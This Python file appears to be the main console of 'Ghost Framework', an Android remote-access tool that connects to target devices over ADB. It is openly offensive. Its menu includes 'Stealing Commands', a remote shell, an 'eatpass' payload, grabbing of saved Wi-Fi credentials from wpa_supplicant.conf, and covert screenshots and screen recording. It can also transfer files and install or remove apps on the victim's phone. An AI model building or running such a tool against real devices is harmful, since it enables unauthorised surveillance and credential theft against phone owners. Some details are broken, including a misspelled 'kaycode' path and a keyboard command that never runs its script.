#!/usr/bin/env python3

#            ---------------------------------------------------
#                              Ghost Framework                                                  
#            ---------------------------------------------------
#                Copyright (C) <2019-2020>  <Entynetproject>
#
#        This program is free software: you can redistribute it and/or modify
#        it under the terms of the GNU General Public License as published by
#        the Free Software Foundation, either version 3 of the License, or
#        any later version.
#
#        This program is distributed in the hope that it will be useful,
#        but WITHOUT ANY WARRANTY; without even the implied warranty of
#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#        GNU General Public License for more details.
#
#        You should have received a copy of the GNU General Public License
#        along with this program.  If not, see <http://www.gnu.org/licenses/>.

import os

os.system("printf '\033]2;Ghost Framework\a'")

import sys
import subprocess
import readline
import time

Q = '\033[1;77m[?] \033[0m'
G = '\033[1;34m[*] \033[0m'
S = '\033[1;32m[+] \033[0m'
W = '\033[1;33m[!] \033[0m'
E = '\033[1;31m[-] \033[0m'

readline.parse_and_bind("tab: complete")

def start_server():
    adb = os.popen("which adb").read()
    if adb.strip("\n") == "":
        print(E+"Failed to start Ghost Server!")
        sys.exit()
    else:
        os.system("chmod +x core/server.sh && core/server.sh stop")
        os.system("chmod +x core/server.sh && core/server.sh start")

def banner():
    os.system("clear")
    os.system("cat banner/banner.txt")
    print("")
    print("Ghost Framework v5.0")
    print("--------------------")
    print("")

def main():
    ui = input('\033[4mghost\033[0m> ').strip(" ")
    ui = ui.split()
    while True:
        if ui == []:
            pass
        elif ui[0] == "exit":
            os.system("chmod +x core/server.sh && core/server.sh stop")
            sys.exit()
        elif ui[0] == "disconnect":
            print(E+"Not connected to target device!")
        elif ui[0] == "clear":
            os.system("clear")
        elif ui[0] == "update":
            os.system("chmod +x etc/update.sh && etc/update.sh")
        elif ui[0] == "help":
            print("")
            print("Core Commands")
            print("=============")
            os.system("cat data/cmds/core_cmds.txt")
            print("")
        elif ui[0] == "connect":
            if len(ui) < 2:
                print("Usage: connect <device>")
            else:
                target = ui[1].split(':')[0]
                print(G+"Connecting to "+target+"...")
                os.system("chmod +x core/dctl.sh && core/dctl.sh connect "+target)
                is_connected = os.popen("adb devices | grep "+target).read()
                is_offline = os.popen("adb devices | grep offline").read()
                if is_connected == "":
                    print(E+"Failed to connect to "+target+"!")
                    os.system("chmod +x core/dctl.sh && core/dctl.sh disconnect "+target)
                    main()  
                else:
                    if is_offline == "":
                        pass
                    else:
                        print(E+"Failed to connect to "+target+"!")
                        os.system("chmod +x core/dctl.sh && core/dctl.sh disconnect "+target)
                        main()
                time.sleep(0.5)
                print(G+"Sending payload to "+target+"...")
                time.sleep(1)
                device = target
                con = input('\033[4mghost\033[0m(\033[1;31m'+device+'\033[0m)> ').strip(" ")
                con = con.split()
                while True:
                    if con == []:
                        pass
                    elif con[0] == "exit":
                        os.system("chmod +x core/server.sh && core/server.sh stop")
                        sys.exit()
                    elif con[0] == "disconnect":
                        os.system("chmod +x core/dctl.sh && core/dctl.sh disconnect "+target)
                        break
                    elif con[0] == "clear":
                        os.system("clear")
                    elif con[0] == "update":
                        os.system("chmod +x etc/update.sh && etc/update.sh")
                    elif con[0] == "help":
                        print("")
                        print("Core Commands")
                        print("=============")
                        os.system("cat data/cmds/core_cmds.txt")
                        print("")
                        print("Settings Commands")
                        print("=================")
                        os.system("cat data/cmds/settings_cmds.txt")
                        print("")
                        print("Managing Commands")
                        print("=================")
                        os.system("cat data/cmds/managing_cmds.txt")
                        print("")
                        print("Stealing Commands")
                        print("=================")
                        os.system("cat data/cmds/stealing_cmds.txt")
                        print("")
                        print("Boot Commands")
                        print("=============")
                        os.system("cat data/cmds/boot_cmds.txt")
                        print("")
                    elif con[0] == "connect":
                        print(W+"Already connected to "+device+".")
                    elif con[0] == "eatpass":
                        os.system("chmod +x data/payloads/eatpass && data/payloads/eatpass")
                    elif con[0] == "shell":
                        os.system("chmod +x data/payloads/shell && data/payloads/shell")
                    elif con[0] == "reboot":
                        os.system("chmod +x data/payloads/reboot && data/payloads/reboot")
                    elif con[0] == "bootl":
                        os.system("chmod +x data/payloads/bootl && data/payloads/bootl")
                    elif con[0] == "recovery":
                        os.system("chmod +x data/payloads/recovery && data/payloads/recovery")
                    elif con[0] == "keyboard":
                        print("Press Ctrl-C to stop.")
                        print("Device keyboard:")
                        try:
                            while True:
                                text = input()
                                text = text.replace(" ", "%s")
                                os.system("chmod +x data/keyboard/keyboard.sh "+text)
                        except:
                            print("")
                    elif con[0] == "keycodes":
                        os.system("cat data/keycode/keycodes.txt")
                    elif con[0] == "keycode":
                        if len(con) < 2:
                            print("Usage: keycode <keycode_number>")
                        else:
                            nums = open("substrate/keynums.txt").read()
                            task = 0
                            for i in nums:
                                if con[1] == i:
                                    task = 1
                            if task == 1:
                                os.system("chmod +x data/kaycode/keycode.sh && data/keycode/keycode.sh "+con[1])
                            else:
                                print(E+"Keycode is not found!")
                    elif con[0] == "battery":
                        os.system("chmod +x data/payloads/battery && data/payloads/battery")
                    elif con[0] == "activity":
                        os.system("chmod +x data/payloads/activity && data/payloads/activity")
                    elif con[0] == "netstat":
                        os.system("chmod +x data/payloads/netstat && data/payloads/netstat")
                    elif con[0] == "debug":
                        os.system("chmod +x data/payloads/debug && data/payloads/debug")
                    elif con[0] == "sysinfo":
                        os.system("chmod +x data/payloads/sysinfo && data/payloads/sysinfo")
                    elif con[0] == "inet":
                        os.system("chmod +x data/payloads/inet && data/payloads/inet")
                    elif con[0] == "wifi":
                        if con[1] == "on":
                            os.system("chmod +x data/payloads/wifi && data/payloads/wifi on")
                        elif con[1] == "off":
                            os.system("chmod +x data/payloads/wifi && data/payloads/wifi off")
                        else:
                            print("Usage: wifi [on|off]")
                    elif con[0] == "wgrabber":
                        if len(con) < 2:
                            print("Usage: wgrabber <local_path>")
                        else:
                            if os.path.isdir(con[1]):
                                if os.path.exists(con[1]):
                                    rp = os.path.split(con[1])[1]
                                    chk = os.popen("chmod +x data/check/rcheck.sh && data/check/rcheck.sh").read()
                                    if chk == "0\n":
                                        print(G+"Grabbing WPA Supplicant...")
                                        os.system("chmod +x data/grabber/grabber.sh && data/grabber/grabber.sh -w "+con[1]+"/wpa_supplicant.conf")
                                        if con[1][-1] == "/":
                                            print(G+"Saving to "+con[1]+"wpa_supplicant.conf...")
                                            time.sleep(1)
                                            print(S+"Saved to "+con[1]+"wpa_supplicant.conf!")
                                        else:
                                            print(G+"Saving to "+con[1]+"/wpa_supplicant.conf...")
                                            time.sleep(1)
                                            print(S+"Saved to "+con[1]+"/wpa_supplicant.conf!")
                                    else:
                                        print(E+"Target device is not rooted!")
                                else:
                                    print(E+"Local directory: "+con[1]+": does not exist!")
                            else:
                                rp = os.path.split(con[1])[0]
                                if rp == "":
                                    rp = "."
                                else:
                                    pass
                                if os.path.exists(rp):
                                    if os.path.isdir(rp):
                                        rp = os.path.split(con[1])[1]
                                        chk = os.popen("chmod +x data/check/rcheck.sh && data/check/rcheck.sh").read()
                                        if chk == "0\n":
                                            print(G+"Grabbing wpa_supplicant...")
                                            os.system("chmod +x data/grabber/grabber.sh && data/grabber/grabber.sh -w "+con[1])
                                            print(G+"Saving to "+con[1]+"...")
                                            time.sleep(1)
                                            print(S+"Saved to "+con[1]+"!")
                                        else:
                                            print(E+"Target device is not rooted!")
                                    else:
                                        print(E+"Error: "+rp+": not a directory!")
                                else:
                                    print(E+"Local directory: "+rp+": does not exist!")
                    elif con[0] == "screenshot":
                        if len(con) < 2:
                            print("Usage: screenshot <local_path>")
                        else:
                            if os.path.isdir(con[1]):
                                if os.path.exists(con[1]):
                                    print(G+"Taking screenshot...")
                                    os.system("chmod +x data/grabber/grabber.sh && data/grabber/grabber.sh -s "+con[1]+"/screen.png")
                                    if con[1][-1] == "/":
                                        print(G+"Saving to "+con[1]+"screen.png...")
                                        time.sleep(1)
                                        print(S+"Saved to "+con[1]+"screen.png!")
                                    else:
                                        print(G+"Saving to "+con[1]+"/screen.png...")
                                        time.sleep(1)
                                        print(S+"Saved to "+con[1]+"/screen.png!")
                                else:
                                    print(E+"Local directory: "+con[1]+": does not exist!")
                            else:
                                rp = os.path.split(con[1])[0]
                                if rp == "":
                                    rp = "."
                                else:
                                    pass
                                if os.path.exists(rp):
                                    if os.path.isdir(rp):
                                        rp = os.path.split(con[1])[1]
                                        print(G+"Taking screenshot...")
                                        os.system("chmod +x data/grabber/grabber.sh && data/grabber/grabber.sh -s "+con[1])
                                        print(G+"Saving to "+con[1]+"...")
                                        time.sleep(1)
                                        print(S+"Saved to "+con[1]+"!")
                                    else:
                                        print(E+"Error: "+rp+": not a directory!")
                                else:
                                    print(E+"Local directory: "+rp+": does not exist!")
                    elif con[0] == "screenrec":
                        if len(con) < 2:
                            print("Usage: screenrec <local_path>")
                        else:
                            if os.path.isdir(con[1]):
                                if os.path.exists(con[1]):
                                    print(G+"Recording screen...")
                                    print(G+"Press Ctrl-C to stop.")
                                    os.system("chmod +x data/grabber/grabber.sh && data/grabber/grabber.sh -r "+con[1]+"/screen.mp4")
                                    if con[1][-1] == "/":
                                        print(G+"Saving to "+con[1]+"screen.mp4...")
                                        time.sleep(1)
                                        print(S+"Saved to "+con[1]+"screen.mp4!")
                                    else:
                                        print(G+"Saving to "+con[1]+"/screen.mp4...")
                                        time.sleep(1)
                                        print(S+"Saved to "+con[1]+"/screen.mp4!")
                                else:
                                    print(E+"Local directory: "+con[1]+": does not exist!")
                            else:
                                rp = os.path.split(con[1])[0]
                                if rp == "":
                                    rp = "."
                                else:
                                    pass
                                if os.path.exists(rp):
                                    if os.path.isdir(rp):
                                        rp = os.path.split(con[1])[1]
                                        print(G+"Recording screen...")
                                        print(G+"Press Ctrl-C to stop.")
                                        os.system("chmod +x data/grabber/grabber.sh && data/grabber/grabber.sh -r "+con[1])
                                        print(G+"Saving to "+con[1]+"...")
                                        time.sleep(1)
                                        print(S+"Saved to "+con[1]+"!")
                                    else:
                                        print(E+"Error: "+rp+": not a directory!")
                                else:
                                    print(E+"Local directory: "+rp+": does not exist!")
                    elif con[0] == "uninstall":
                        if len(con) < 2:
                            print("Usage: uninstall <application>")
                        else:
                            apps = os.popen("adb shell pm list packages -f | grep package:").read()
                            cache = apps.split("\n")
                            apps = [i[i.index("=")+1:] for i in cache if "=" in i]
                            turn = 0
                            for i in apps:
                                if con[1] == i:
                                    turn = 1
                            if turn == 1:
                                print(G+"Uninstalling "+con[1]+"...")
                                os.system("chmod +x core/apps/uninstall.sh && core/apps/uninstall.sh "+con[1])
                                print(S+"Successfully uninstalled!")
                            else:
                                print(E+"Application is not found!")
                    elif con[0] == "launch":
                        if len(con) < 2:
                            print("Usage: launch <application>")
                        else:
                            apps = os.popen("adb shell pm list packages -f | grep package:").read()
                            cache = apps.split("\n")
                            apps = [i[i.index("=")+1:] for i in cache if "=" in i]
                            turn = 0
                            for i in apps:
                                if con[1] == i:
                                    turn = 1
                            if turn == 1:
                                os.system("chmod +x core/apps/launch.sh && core/apps/launch.sh "+con[1])
                            else:
                                print(E+"Application is not found!")
                    elif con[0] == "apps":
                        apps = os.popen("adb shell pm list packages -f | grep package:").read()
                        cache = apps.split("\n")
                        apps = [i[i.index("=")+1:] for i in cache if "=" in i]
                        for i in apps:
                            print(i)
                    elif con[0] == "install":
                        if len(con) < 2:
                            print("Usage: install <local_path>")
                        else:
                            if os.path.exists(con[1]):
                                ext = os.path.splitext(con[1])
                                if os.path.isdir(con[1]):
                                    print(E+"Error: "+con[1]+": not a file!")
                                else:
                                    if ext[1] == ".apk":
                                        print(G+"Installing "+con[1]+"...")
                                        os.system("chmod +x core/apps/install.sh && core/apps/install.sh "+con[1])
                                        print(S+"Succcessfully installed!")
                                    else:
                                        print(E+"Local file: "+con[1]+": not an apk file!")
                            else:
                                print(E+"Local file: "+con[1]+": does not exist!")
                    elif con[0] == "download":
                        if len(con) < 3:
                            print("Usage: download <remote_file> <local_path>")
                        else:
                            dchk = os.popen("chmod +x data/check/dcheck.sh && data/check/dcheck.sh "+con[1]).read()
                            chk = os.popen("chmod +x data/check/check.sh && data/check/check.sh "+con[1]).read()
                            if chk == "0\n":
                                if dchk == "0\n":
                                    print(E+"Error: "+con[1]+": not a file!")
                                else:
                                    if os.path.isdir(con[2]):
                                        if os.path.exists(con[2]):
                                            rp = os.path.split(con[1])[1]
                                            os.system("chmod +x data/payloads/download && data/payloads/download "+con[1]+" "+con[2]+" "+rp)
                                        else:
                                            print(E+"Local directory: "+con[2]+": does not exist!")
                                    else:
                                        rp = os.path.split(con[2])[0]
                                        if rp == "":
                                            rp = "."
                                        else:
                                            pass
                                        if os.path.exists(rp):
                                            if os.path.isdir(rp):
                                                rp = os.path.split(con[2])[1]
                                                pr = os.path.split(con[1])[1]
                                                os.system("chmod +x data/payloads/download && data/payloads/download "+con[1]+" "+con[2]+" "+rp+" "+pr)
                                            else:
                                                print(E+"Error: "+rp+": not a directory!")
                                        else:
                                            print(E+"Local directory: "+rp+": does not exist!")
                            else:
                                print(E+"Remote file: "+con[1]+": does not exist!")
                    elif con[0] == "upload":
                        if len(con) < 3:
                            print("Usage: upload <local_file> <remote_path>")
                        else:
                            if os.path.exists(con[1]):
                                if os.path.isdir(con[1]):
                                    print(E+"Error: "+con[1]+": not a file!")
                                else:
                                    rp = con[2][::-1]
                                    rp = rp[rp.index('/')+1:][::-1]
                                    s = os.path.split(con[1])[1]
                                    pr = os.path.split(con[2])[0]
                                    lrp = con[1][::-1]
                                    lrp = lrp[lrp.index('/')+1:][::-1]
                                    a = os.path.split(con[2])[1]
                                    os.system("chmod +x data/payloads/upload && data/payloads/upload "+con[1]+" "+con[2]+" "+s+" "+pr+" "+lrp)
                            else:
                                print(E+"Local file: "+con[1]+": does not exist!")
                    else:
                        print(E+"Unrecognized command!")
                    con = input('\033[4mghost\033[0m(\033[1;31m'+device+'\033[0m)> ').strip(" ")
                    con = con.split()
        else:
            print(E+"Unrecognized command!")
        ui = input('\033[4mghost\033[0m> ').strip(" ")
        ui = ui.split()

start_server()
banner()
main()
